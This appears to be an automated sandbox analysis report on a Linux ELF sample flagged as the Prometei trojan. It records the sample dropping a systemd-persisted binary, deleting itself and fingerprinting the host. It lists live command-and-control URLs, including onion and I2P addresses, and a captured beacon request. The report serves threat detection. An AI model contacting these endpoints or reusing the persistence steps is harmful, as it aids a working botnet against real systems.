    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/241/cmdlineJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/121/statusJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/121/cmdlineJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/242/statusJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/242/cmdlineJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/1/statusJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/1/cmdlineJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/122/statusJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/122/cmdlineJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/243/statusJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/243/cmdlineJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/2/statusJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/2/cmdlineJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/123/statusJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/123/cmdlineJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/244/statusJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/244/cmdlineJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/3/statusJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/3/cmdlineJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/124/statusJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/124/cmdlineJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/245/statusJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/245/cmdlineJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/1588/statusJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/1588/cmdlineJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/125/statusJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/125/cmdlineJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/4/statusJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/4/cmdlineJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/246/statusJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/246/cmdlineJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/126/statusJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)File opened: /proc/126/cmdlineJump to behavior
    Source: /tmp/na.elf (PID: 5740)Shell command executed: sh -c "pgrep na.elf"Jump to behavior
    Source: /tmp/na.elf (PID: 5744)Shell command executed: sh -c "pidof na.elf"Jump to behavior
    Source: /tmp/na.elf (PID: 5749)Shell command executed: sh -c "pgrep uplugplay"Jump to behavior
    Source: /tmp/na.elf (PID: 5753)Shell command executed: sh -c "pidof uplugplay"Jump to behavior
    Source: /tmp/na.elf (PID: 5757)Shell command executed: sh -c "pgrep upnpsetup"Jump to behavior
    Source: /tmp/na.elf (PID: 5763)Shell command executed: sh -c "pidof upnpsetup"Jump to behavior
    Source: /tmp/na.elf (PID: 5765)Shell command executed: sh -c "systemctl daemon-reload"Jump to behavior
    Source: /tmp/na.elf (PID: 5770)Shell command executed: sh -c "systemctl enable uplugplay.service"Jump to behavior
    Source: /tmp/na.elf (PID: 5775)Shell command executed: sh -c "systemctl start uplugplay.service"Jump to behavior
    Source: /usr/sbin/uplugplay (PID: 5791)Shell command executed: sh -c "/usr/sbin/uplugplay -Dcomsvc"Jump to behavior
    Source: /usr/sbin/uplugplay (PID: 5796)Shell command executed: sh -c hostnamectlJump to behavior
    Source: /usr/sbin/uplugplay (PID: 5927)Shell command executed: sh -c hostnamectlJump to behavior
    Source: /usr/sbin/uplugplay (PID: 5941)Shell command executed: sh -c "dmidecode --type baseboard"Jump to behavior
    Source: /usr/sbin/uplugplay (PID: 5944)Shell command executed: sh -c uptimeJump to behavior
    Source: /usr/sbin/uplugplay (PID: 5949)Shell command executed: sh -c "uname -a"Jump to behavior
    Source: /usr/sbin/uplugplay (PID: 5953)Shell command executed: sh -c dmidecodeJump to behavior
    Source: /usr/sbin/uplugplay (PID: 5957)Shell command executed: sh -c uptimeJump to behavior
    Source: /usr/sbin/uplugplay (PID: 5961)Shell command executed: sh -c "uname -a"Jump to behavior
    Source: /bin/sh (PID: 5741)Pgrep executable: /usr/bin/pgrep -> pgrep na.elfJump to behavior
    Source: /bin/sh (PID: 5750)Pgrep executable: /usr/bin/pgrep -> pgrep uplugplayJump to behavior
    Source: /bin/sh (PID: 5758)Pgrep executable: /usr/bin/pgrep -> pgrep upnpsetupJump to behavior
    Source: /bin/sh (PID: 5766)Systemctl executable: /usr/bin/systemctl -> systemctl daemon-reloadJump to behavior
    Source: /bin/sh (PID: 5771)Systemctl executable: /usr/bin/systemctl -> systemctl enable uplugplay.serviceJump to behavior
    Source: /bin/sh (PID: 5776)Systemctl executable: /usr/bin/systemctl -> systemctl start uplugplay.serviceJump to behavior
    Source: /usr/sbin/uplugplay (PID: 5792)Reads from proc file: /proc/cpuinfoJump to behavior
    Source: /usr/sbin/uplugplay (PID: 5792)Reads from proc file: /proc/statJump to behavior
    Source: /usr/sbin/uplugplay (PID: 5792)Reads from proc file: /proc/meminfoJump to behavior
    Source: /tmp/na.elf (PID: 5737)File: /usr/sbin/uplugplay (bits: -v usr: x grp: x all: r)Jump to behavior
    Source: /tmp/na.elf (PID: 5737)File written: /usr/sbin/uplugplayJump to dropped file
    Source: submitted sampleStderr: Created symlink /etc/systemd/system/multi-user.target.wants/uplugplay.service /lib/systemd/system/uplugplay.service.: exit code = 0

    Hooking and other Techniques for Hiding and Protection

    barindex
    Source: /tmp/na.elf (PID: 5737)File: /usr/sbin/uplugplayJump to dropped file
    Source: /bin/sh (PID: 5945)Dmidecode executable: /usr/sbin/dmidecode dmidecode --type baseboardJump to behavior
    Source: /bin/sh (PID: 5954)Dmidecode executable: /usr/sbin/dmidecode dmidecodeJump to behavior
    Source: /tmp/na.elf (PID: 5737)File: /tmp/na.elfJump to behavior
    Source: na.elfSubmission file: segment LOAD with 7.6054 entropy (max. 8.0)
    Source: na.elfSubmission file: segment LOAD with 7.943 entropy (max. 8.0)
    Source: uplugplay.12.drDropped file: segment LOAD with 7.6054 entropy (max. 8.0)
    Source: uplugplay.12.drDropped file: segment LOAD with 7.943 entropy (max. 8.0)
    Source: /usr/sbin/uplugplay (PID: 5792)Reads CPU info from proc file: /proc/cpuinfoJump to behavior
    Source: /usr/bin/pgrep (PID: 5741)Reads CPU info from /sys: /sys/devices/system/cpu/onlineJump to behavior
    Source: /usr/bin/pgrep (PID: 5750)Reads CPU info from /sys: /sys/devices/system/cpu/onlineJump to behavior
    Source: /usr/bin/pgrep (PID: 5758)Reads CPU info from /sys: /sys/devices/system/cpu/onlineJump to behavior
    Source: /usr/sbin/uplugplay (PID: 5792)Reads CPU info from /sys: /sys/devices/system/cpu/onlineJump to behavior
    Source: /usr/bin/uptime (PID: 5946)Reads CPU info from /sys: /sys/devices/system/cpu/onlineJump to behavior
    Source: /usr/bin/uptime (PID: 5958)Reads CPU info from /sys: /sys/devices/system/cpu/onlineJump to behavior
    Source: /tmp/na.elf (PID: 5737)Queries kernel information via 'uname': Jump to behavior
    Source: /usr/sbin/uplugplay (PID: 5779)Queries kernel information via 'uname': Jump to behavior
    Source: /usr/sbin/uplugplay (PID: 5792)Queries kernel information via 'uname': Jump to behavior
    Source: /usr/bin/uname (PID: 5950)Queries kernel information via 'uname': Jump to behavior
    Source: /usr/bin/uname (PID: 5962)Queries kernel information via 'uname': Jump to behavior
    Source: /lib/systemd/systemd-hostnamed (PID: 5798)Queries kernel information via 'uname': Jump to behavior

    Language, Device and Operating System Detection

    barindex
    Source: /bin/sh (PID: 5945)Dmidecode executable: /usr/sbin/dmidecode dmidecode --type baseboardJump to behavior
    Source: /bin/sh (PID: 5954)Dmidecode executable: /usr/sbin/dmidecode dmidecodeJump to behavior
    Source: /bin/sh (PID: 5950)Uname executable: /usr/bin/uname -> uname -aJump to behavior
    Source: /bin/sh (PID: 5962)Uname executable: /usr/bin/uname -> uname -aJump to behavior
    ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
    Gather Victim Identity Information1
    Scripting
    Valid AccountsWindows Management Instrumentation1
    Systemd Service
    1
    Systemd Service
    1
    Masquerading
    1
    OS Credential Dumping
    1
    Security Software Discovery
    Remote ServicesData from Local System1
    Ingress Tool Transfer
    Exfiltration Over Other Network MediumAbuse Accessibility Features
    CredentialsDomainsDefault AccountsScheduled Task/Job1
    Scripting
    Boot or Logon Initialization Scripts1
    File and Directory Permissions Modification
    LSASS Memory14
    System Information Discovery
    Remote Desktop ProtocolData from Removable Media2
    Non-Application Layer Protocol
    Exfiltration Over BluetoothNetwork Denial of Service
    Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)Logon Script (Windows)1
    Hidden Files and Directories
    Security Account ManagerQuery RegistrySMB/Windows Admin SharesData from Network Shared Drive2
    Application Layer Protocol
    Automated ExfiltrationData Encrypted for Impact
    Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin Hook11
    Obfuscated Files or Information
    NTDSSystem Network Configuration DiscoveryDistributed Component Object ModelInput Capture1
    Proxy
    Traffic DuplicationData Destruction
    Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script1
    File Deletion
    LSA SecretsInternet Connection DiscoverySSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
    No configs have been found
    Hide Legend

    Legend:

    • Process
    • Signature
    • Created File
    • DNS/IP Info
    • Is Dropped
    • Number of created Files
    • Is malicious
    • Internet
    behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1641062 Sample: na.elf Startdate: 18/03/2025 Architecture: LINUX Score: 100 77 152.36.128.18, 34338, 34340, 80 NCRENUS United States 2->77 79 xinchaobhcfda.net 52.43.119.120, 40634, 80 AMAZON-02US United States 2->79 81 xinchaobhcfda.com 2->81 83 Malicious sample detected (through community Yara rule) 2->83 85 Antivirus detection for dropped file 2->85 87 Antivirus / Scanner detection for submitted sample 2->87 89 3 other signatures 2->89 11 na.elf 2->11         started        15 systemd uplugplay 2->15         started        17 systemd snapd-env-generator 2->17         started        19 2 other processes 2->19 signatures3 process4 file5 73 /usr/sbin/uplugplay, ELF 11->73 dropped 93 Found Tor onion address 11->93 95 Drops files in suspicious directories 11->95 97 Sample deletes itself 11->97 21 na.elf sh 11->21         started        23 na.elf sh 11->23         started        25 na.elf sh 11->25         started        29 6 other processes 11->29 27 uplugplay 15->27         started        signatures6 process7 process8 31 sh pgrep 21->31         started        33 sh pidof 23->33         started        35 sh pgrep 25->35         started        37 uplugplay sh 27->37         started        39 sh pidof 29->39         started        41 sh pgrep 29->41         started        43 sh pidof 29->43         started        45 3 other processes 29->45 process9 47 sh uplugplay 37->47         started        file10 75 /etc/CommId, ASCII 47->75 dropped 50 uplugplay sh 47->50         started        52 uplugplay sh 47->52         started        54 uplugplay sh 47->54         started        56 5 other processes 47->56 process11 process12 58 sh dmidecode 50->58         started        61 sh dmidecode 52->61         started        63 sh hostnamectl 54->63         started        65 sh hostnamectl 56->65         started        67 sh uptime 56->67         started        69 sh uname 56->69         started        71 2 other processes 56->71 signatures13 91 Executes the "dmidecode" command for reading DMI BIOS info like hardware or serial numbers (indicative of machine fingerprinting or VM-detection) 58->91

    This section contains all screenshots as thumbnails, including those not shown in the slideshow.


    windows-stand
    SourceDetectionScannerLabelLink
    na.elf47%ReversingLabsLinux.Trojan.Generic
    na.elf26%VirustotalBrowse
    na.elf100%AviraLINUX/GM.Agent.JQ
    SourceDetectionScannerLabelLink
    /usr/sbin/uplugplay100%AviraLINUX/GM.Agent.JQ
    /usr/sbin/uplugplay47%ReversingLabsLinux.Trojan.Generic
    /usr/sbin/uplugplay26%VirustotalBrowse
    No Antivirus matches
    No Antivirus matches

    Download Network PCAP: filteredfull

    NameIPActiveMaliciousAntivirus DetectionReputation
    xinchaobhcfda.net
    52.43.119.120
    truefalse
      high
      xinchaobhcfda.com
      unknown
      unknownfalse
        high
        NameSourceMaliciousAntivirus DetectionReputation
        http://152.36.128.18/cgi-bin/p.cgihttp://dummy.zero/cgi-bin/prometei.cgihttps://gb7ni5rgeexdcncj.onina.elf, 5737.1.000000000052d000.0000000001575000.rw-.sdmpfalse
          high
          http://upx.sf.netna.elf, uplugplay.12.drfalse
            high
            http://mkhkjxgchtfgu7uhofxzgoawntfzrkdccymveektqgpxrpjb72oq.b32.i2p/cgi-bin/prometei.cgina.elf, 5737.1.000000000052d000.0000000001575000.rw-.sdmpfalse
              high
              https://gb7ni5rgeexdcncj.onion/cgi-bin/prometei.cgina.elf, 5737.1.000000000052d000.0000000001575000.rw-.sdmpfalse
                high
                http://152.36.128.18/cgi-bin/p.cgina.elf, 5737.1.000000000052d000.0000000001575000.rw-.sdmpfalse
                  high
                  http://dummy.zero/cgi-bin/prometei.cgina.elf, 5737.1.000000000052d000.0000000001575000.rw-.sdmpfalse
                    high
                    http://152.36.128na.elf, uplugplay.12.drfalse
                      high
                      • No. of IPs < 25%
                      • 25% < No. of IPs < 50%
                      • 50% < No. of IPs < 75%
                      • 75% < No. of IPs
                      IPDomainCountryFlagASNASN NameMalicious
                      152.36.128.18
                      unknownUnited States
                      81NCRENUStrue
                      52.43.119.120
                      xinchaobhcfda.netUnited States
                      16509AMAZON-02USfalse
                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                      152.36.128.18na.elfGet hashmaliciousPrometeiBrowse
                      • 152.36.128.18/cgi-bin/p.cgi?r=0&i=7FL124O3L6A8OT4Q
                      na.elfGet hashmaliciousPrometeiBrowse
                      • 152.36.128.18/cgi-bin/p.cgi?r=13&i=40136X3EL5VV2L22
                      na.elfGet hashmaliciousPrometeiBrowse
                      • 152.36.128.18/cgi-bin/p.cgi?r=16&i=U882048811TDSUV6
                      na.elfGet hashmaliciousPrometeiBrowse
                      • 152.36.128.18/cgi-bin/p.cgi?r=9&i=7R96Z3MUO589GE2W
                      na.elfGet hashmaliciousPrometeiBrowse
                      • 152.36.128.18/cgi-bin/p.cgi?r=17&i=S40QILI6322OT6MW
                      na.elfGet hashmaliciousPrometeiBrowse
                      • 152.36.128.18/cgi-bin/p.cgi?r=9&i=1W1DV0H9X0VWH5D5
                      na.elfGet hashmaliciousPrometeiBrowse
                      • 152.36.128.18/cgi-bin/p.cgi?r=9&i=4ZJS589D62O3327X
                      na.elfGet hashmaliciousPrometeiBrowse
                      • 152.36.128.18/cgi-bin/p.cgi?r=9&i=07L39E8NU550REX7
                      na.elfGet hashmaliciousPrometeiBrowse
                      • 152.36.128.18/cgi-bin/p.cgi?r=9&i=8M0MJD31U416CI50
                      na.elfGet hashmaliciousPrometeiBrowse
                      • 152.36.128.18/cgi-bin/p.cgi?r=5&i=GTQ5N75ECOS25079
                      52.43.119.120CV_Sales Representative - Job Request PDF.exeGet hashmaliciousFormBookBrowse
                      • tnevuluw.biz/wrdd
                      Supply Tender documents PDF.exeGet hashmaliciousFormBookBrowse
                      • nqwjmb.biz/keiggofpmujlpsm
                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                      xinchaobhcfda.netna.elfGet hashmaliciousPrometeiBrowse
                      • 52.43.119.120
                      na.elfGet hashmaliciousPrometeiBrowse
                      • 52.43.119.120
                      na.elfGet hashmaliciousPrometeiBrowse
                      • 52.43.119.120
                      na.elfGet hashmaliciousPrometeiBrowse
                      • 52.43.119.120
                      na.elfGet hashmaliciousPrometeiBrowse
                      • 52.43.119.120
                      na.elfGet hashmaliciousPrometeiBrowse
                      • 52.43.119.120
                      na.elfGet hashmaliciousPrometeiBrowse
                      • 52.43.119.120
                      na.elfGet hashmaliciousPrometeiBrowse
                      • 52.43.119.120
                      na.elfGet hashmaliciousPrometeiBrowse
                      • 52.43.119.120
                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                      AMAZON-02USna.elfGet hashmaliciousPrometeiBrowse
                      • 54.171.230.55
                      na.elfGet hashmaliciousPrometeiBrowse
                      • 52.43.119.120
                      na.elfGet hashmaliciousPrometeiBrowse
                      • 52.43.119.120
                      na.elfGet hashmaliciousPrometeiBrowse
                      • 52.43.119.120
                      na.elfGet hashmaliciousPrometeiBrowse
                      • 52.43.119.120
                      na.elfGet hashmaliciousPrometeiBrowse
                      • 52.43.119.120
                      na.elfGet hashmaliciousPrometeiBrowse
                      • 52.43.119.120
                      na.elfGet hashmaliciousPrometeiBrowse
                      • 52.43.119.120
                      na.elfGet hashmaliciousPrometeiBrowse
                      • 52.43.119.120
                      suspect.htmlGet hashmaliciousHTMLPhisher, Invisible JS, Tycoon2FABrowse
                      • 13.33.187.96
                      NCRENUSna.elfGet hashmaliciousPrometeiBrowse
                      • 152.36.128.18
                      na.elfGet hashmaliciousPrometeiBrowse
                      • 152.36.128.18
                      na.elfGet hashmaliciousPrometeiBrowse
                      • 152.36.128.18
                      na.elfGet hashmaliciousPrometeiBrowse
                      • 152.36.128.18
                      na.elfGet hashmaliciousPrometeiBrowse
                      • 152.36.128.18
                      na.elfGet hashmaliciousPrometeiBrowse
                      • 152.36.128.18
                      na.elfGet hashmaliciousPrometeiBrowse
                      • 152.36.128.18
                      na.elfGet hashmaliciousPrometeiBrowse
                      • 152.36.128.18
                      na.elfGet hashmaliciousPrometeiBrowse
                      • 152.36.128.18
                      na.elfGet hashmaliciousPrometeiBrowse
                      • 152.36.128.18
                      No context
                      No context
                      Process:/usr/sbin/uplugplay
                      File Type:ASCII text, with no line terminators
                      Category:dropped
                      Size (bytes):16
                      Entropy (8bit):3.75
                      Encrypted:false
                      SSDEEP:3:MhfhirWn:MhfhgWn
                      MD5:DA0C93B2FA9082251D5ED525EDD3C976
                      SHA1:01892123DDAC3D97EF5C14EBF5535C8727CFA3CD
                      SHA-256:D0F9523BAABBC3093B82C39E4B575BF5636573C5B437045D22B4348D8F1CF6E4
                      SHA-512:9B31235E1E9271D60DCC1DBEF2B949A75C8AD762D8CA462F5F7D4C84704C7F9306EA6B133C5FF932EA1C43D49EDD90C47D11B01D3BD0214EBAC9407385FF7F8F
                      Malicious:true
                      Reputation:low
                      Preview:Z365QFP4YMZGET73
                      Process:/usr/lib/systemd/system-environment-generators/snapd-env-generator
                      File Type:ASCII text
                      Category:dropped
                      Size (bytes):76
                      Entropy (8bit):3.7627880354948586
                      Encrypted:false
                      SSDEEP:3:+M4VMPQnMLmPQ9JEcwwbn:+M4m4MixcZb
                      MD5:D86A1F5765F37989EB0EC3837AD13ECC
                      SHA1:D749672A734D9DEAFD61DCA501C6929EC431B83E
                      SHA-256:85889AB8222C947C58BE565723AE603CC1A0BD2153B6B11E156826A21E6CCD45
                      SHA-512:338C4B776FDCC2D05E869AE1F9DB64E6E7ECC4C621AB45E51DD07C73306BACBAD7882BE8D3ACF472CAEB30D4E5367F8793D3E006694184A68F74AC943A4B7C07
                      Malicious:false
                      Reputation:high, very likely benign file
                      Preview:PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin.
                      Process:/tmp/na.elf
                      File Type:ASCII text
                      Category:dropped
                      Size (bytes):145
                      Entropy (8bit):4.769509838572339
                      Encrypted:false
                      SSDEEP:3:zMZa75X1PxQJqtWA1+DRvBADMikAdIgQ+aQmNJX4ev+sirSkQmWA1+DRvn:z8uXcqtWA4RZAMD+aBNdhTILQmWA4Rv
                      MD5:8CA62D1F47880BCE036C2956C9B7B272
                      SHA1:3BCC3A5C4FCC5B0D08C4524A59F6B8E113B62060
                      SHA-256:C655D3D4E374FAD38313EC4262207B2D7D68A870238F203EF3C33F85E66C8E32
                      SHA-512:4CD2D9D67151FA25E833707DEE2442C4A5F752053FC2C36EC73C0E2B734C66CA69C63FCEB47714D9ADD5B9FE2EEE1E45BE5199E2CAE7C26173E766B333877DA6
                      Malicious:false
                      Reputation:high, very likely benign file
                      Preview:[Unit].Description=UPlugPlay.After=multi-user.target..[Service].Type=forking.ExecStart=/usr/sbin/uplugplay..[Install].WantedBy=multi-user.target.
                      Process:/tmp/na.elf
                      File Type:ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header
                      Category:dropped
                      Size (bytes):435932
                      Entropy (8bit):7.94281733187371
                      Encrypted:false
                      SSDEEP:6144:63fxS1fHETSACF2Gzm5DVvSHrKKRH4SCra+HWMiFbcAOXmb4Dsi6wwcitgs:25WOSACZSV6eKRH5EPiamb4DsDwwc8
                      MD5:31C821424D2B8246786682D28AF24C3D
                      SHA1:8E9CE83E379203A896EB1E6DE1EABE38644BD1B3
                      SHA-256:1047FCEA6DE6563085CCE4DFEA647DF8A5EA753B6358B85AC3D1BE50A6FCF968
                      SHA-512:9C29E75DA0E1F60C824FD474A8C3389FEE8A09693CFD2292E086ECCE44E3444DB081E92F4524C63E5EF2AC0098E984E042FB66165EFAE089B3945E9BD7AEEA92
                      Malicious:true
                      Yara Hits:
                      • Rule: Linux_Trojan_Dofloo_ac3333d1, Description: unknown, Source: /usr/sbin/uplugplay, Author: unknown
                      Antivirus:
                      • Antivirus: Avira, Detection: 100%
                      • Antivirus: ReversingLabs, Detection: 47%
                      • Antivirus: Virustotal, Detection: 26%, Browse
                      Reputation:low
                      Preview:.ELF..............>.....`.].....@...................@.8...........................@.......@.............XH...............................PW......PW.....M.......M...............Q.td....................................................V..9UPX!............!v..p............. ..ELF......>....@.......0..'8..........W.3c..-.......o..K>...@!v..{_bo./.O7.%....o.....l..-.R..XOH....6..o..p..@... ....om.r2...D_..n.D...O...M(.S.td...POQn..PpnG.oRO!..=.0...%I.$...@.P.............y......GNU....'..l......?D....N...k.n..m"c...i......._....R.%..y...#N./ $../..p.E....v!#...._..r....K....../0.|.....p.L.........H...._...#/v..._P.C2.b.`....y!.K...x!...@p.2.".oh...`......X.B.C;P_.L/H....@...N..8?.0O.C;.`(...q.\. ..O.$ar .@%I.!v...}...I&.n.......H...H...H..t..."...9.....?..%.....D................................}....ume....]U....ME=....5-%...................&..E.t$..T$.<{....%.....H.|$...~.9.g...Sd2.OH.. ......kn(...$. 1.H9..+..t>d....4..u......~2..w..H.. mU.H.=d...o...V..`...V..=[._w.Ru6..O
                      File type:ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header
                      Entropy (8bit):7.94281733187371
                      TrID:
                      • ELF Executable and Linkable format (Linux) (4029/14) 50.16%
                      • ELF Executable and Linkable format (generic) (4004/1) 49.84%
                      File name:na.elf
                      File size:435'932 bytes
                      MD5:31c821424d2b8246786682d28af24c3d
                      SHA1:8e9ce83e379203a896eb1e6de1eabe38644bd1b3
                      SHA256:1047fcea6de6563085cce4dfea647df8a5ea753b6358b85ac3d1be50a6fcf968
                      SHA512:9c29e75da0e1f60c824fd474a8c3389fee8a09693cfd2292e086ecce44e3444db081e92f4524c63e5ef2ac0098e984e042fb66165efae089b3945e9bd7aeea92
                      SSDEEP:6144:63fxS1fHETSACF2Gzm5DVvSHrKKRH4SCra+HWMiFbcAOXmb4Dsi6wwcitgs:25WOSACZSV6eKRH5EPiamb4DsDwwc8
                      TLSH:2A9423F8C83D2E3098169B3CBB5A826CF0A15772D9562F6AB51AE5732179F1FAC60101
                      File Content Preview:.ELF..............>.....`.].....@...................@.8...........................@.......@.............XH...............................PW......PW.....M.......M...............Q.td....................................................V..9UPX!............!v.

                      ELF header

                      Class:ELF64
                      Data:2's complement, little endian
                      Version:1 (current)
                      Machine:Advanced Micro Devices X86-64
                      Version Number:0x1
                      Type:EXEC (Executable file)
                      OS/ABI:UNIX - System V
                      ABI Version:0
                      Entry Point Address:0x15de360
                      Flags:0x0
                      ELF Header Size:64
                      Program Header Offset:64
                      Program Header Size:56
                      Number of Program Headers:3
                      Section Header Offset:0
                      Section Header Size:0
                      Number of Section Headers:0
                      Header String Table Index:0
                      TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
                      LOAD0x00x4000000x4000000x10000x11748587.60540x6RW 0x1000
                      LOAD0x00x15750000x15750000x69e4d0x69e4d7.94300x5R E0x1000
                      GNU_STACK0x00x00x00x00x00.00000x6RW 0x10

                      Download Network PCAP: filteredfull

                      TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                      2025-03-18T02:22:09.261948+01002803305ETPRO MALWARE Common Downloader Header Pattern H3192.168.2.1334338152.36.128.1880TCP
                      2025-03-18T02:22:13.021703+01002803305ETPRO MALWARE Common Downloader Header Pattern H3192.168.2.1334340152.36.128.1880TCP
                      • Total Packets: 16
                      • 80 (HTTP)
                      • 53 (DNS)
                      TimestampSource PortDest PortSource IPDest IP
                      Mar 18, 2025 02:22:08.638437986 CET3433880192.168.2.13152.36.128.18
                      Mar 18, 2025 02:22:08.643207073 CET8034338152.36.128.18192.168.2.13
                      Mar 18, 2025 02:22:08.643285036 CET3433880192.168.2.13152.36.128.18
                      Mar 18, 2025 02:22:08.648466110 CET3433880192.168.2.13152.36.128.18
                      Mar 18, 2025 02:22:08.653129101 CET8034338152.36.128.18192.168.2.13
                      Mar 18, 2025 02:22:09.261852026 CET8034338152.36.128.18192.168.2.13
                      Mar 18, 2025 02:22:09.261948109 CET3433880192.168.2.13152.36.128.18
                      Mar 18, 2025 02:22:09.263674021 CET8034338152.36.128.18192.168.2.13
                      Mar 18, 2025 02:22:09.279453039 CET3433880192.168.2.13152.36.128.18
                      Mar 18, 2025 02:22:09.284115076 CET8034338152.36.128.18192.168.2.13
                      Mar 18, 2025 02:22:12.346833944 CET3434080192.168.2.13152.36.128.18
                      Mar 18, 2025 02:22:12.351663113 CET8034340152.36.128.18192.168.2.13
                      Mar 18, 2025 02:22:12.351722002 CET3434080192.168.2.13152.36.128.18
                      Mar 18, 2025 02:22:12.354269028 CET3434080192.168.2.13152.36.128.18
                      Mar 18, 2025 02:22:12.358946085 CET8034340152.36.128.18192.168.2.13
                      Mar 18, 2025 02:22:13.021606922 CET8034340152.36.128.18192.168.2.13
                      Mar 18, 2025 02:22:13.021632910 CET8034340152.36.128.18192.168.2.13
                      Mar 18, 2025 02:22:13.021703005 CET3434080192.168.2.13152.36.128.18
                      Mar 18, 2025 02:22:13.049814939 CET3434080192.168.2.13152.36.128.18
                      Mar 18, 2025 02:22:13.054483891 CET8034340152.36.128.18192.168.2.13
                      Mar 18, 2025 02:24:14.646344900 CET4063480192.168.2.1352.43.119.120
                      Mar 18, 2025 02:24:14.651025057 CET804063452.43.119.120192.168.2.13
                      Mar 18, 2025 02:24:14.651149988 CET4063480192.168.2.1352.43.119.120
                      Mar 18, 2025 02:24:14.652112961 CET4063480192.168.2.1352.43.119.120
                      Mar 18, 2025 02:24:14.656763077 CET804063452.43.119.120192.168.2.13
                      TimestampSource PortDest PortSource IPDest IP
                      Mar 18, 2025 02:24:14.440223932 CET3896453192.168.2.138.8.8.8
                      Mar 18, 2025 02:24:14.450022936 CET53389648.8.8.8192.168.2.13
                      Mar 18, 2025 02:24:14.450484991 CET3633953192.168.2.138.8.8.8
                      Mar 18, 2025 02:24:14.547082901 CET53363398.8.8.8192.168.2.13
                      Mar 18, 2025 02:24:14.548439026 CET4141153192.168.2.138.8.8.8
                      Mar 18, 2025 02:24:14.645602942 CET53414118.8.8.8192.168.2.13
                      TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                      Mar 18, 2025 02:24:14.440223932 CET192.168.2.138.8.8.80x16a0Standard query (0)xinchaobhcfda.comA (IP address)IN (0x0001)false
                      Mar 18, 2025 02:24:14.450484991 CET192.168.2.138.8.8.80x16a0Standard query (0)xinchaobhcfda.netA (IP address)IN (0x0001)false
                      Mar 18, 2025 02:24:14.548439026 CET192.168.2.138.8.8.80x16a0Standard query (0)xinchaobhcfda.netA (IP address)IN (0x0001)false
                      TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                      Mar 18, 2025 02:24:14.450022936 CET8.8.8.8192.168.2.130x16a0Name error (3)xinchaobhcfda.comnonenoneA (IP address)IN (0x0001)false
                      Mar 18, 2025 02:24:14.547082901 CET8.8.8.8192.168.2.130x16a0No error (0)xinchaobhcfda.net52.43.119.120A (IP address)IN (0x0001)false
                      Mar 18, 2025 02:24:14.645602942 CET8.8.8.8192.168.2.130x16a0No error (0)xinchaobhcfda.net52.43.119.120A (IP address)IN (0x0001)false
                      • 152.36.128.18
                      • xinchaobhcfda.net
                      Session IDSource IPSource PortDestination IPDestination Port
                      0192.168.2.1334338152.36.128.1880
                      TimestampBytes transferredDirectionData
                      Mar 18, 2025 02:22:08.648466110 CET87OUTGET /cgi-bin/p.cgi?r=5&i=Z365QFP4YMZGET73 HTTP/1.0
                      Host: 152.36.128.18
                      Mar 18, 2025 02:22:09.261852026 CET229INHTTP/1.1 200 OK
                      Date: Tue, 18 Mar 2025 01:22:09 GMT
                      Server: Apache/2.2.8 (Win32) mod_ssl/2.2.8 OpenSSL/0.9.8g PHP/5.2.6
                      Content-Length: 7
                      Connection: close
                      Content-Type: text/html; charset=windows-1251
                      Data Raw: 73 79 73 69 6e 66 6f
                      Data Ascii: sysinfo


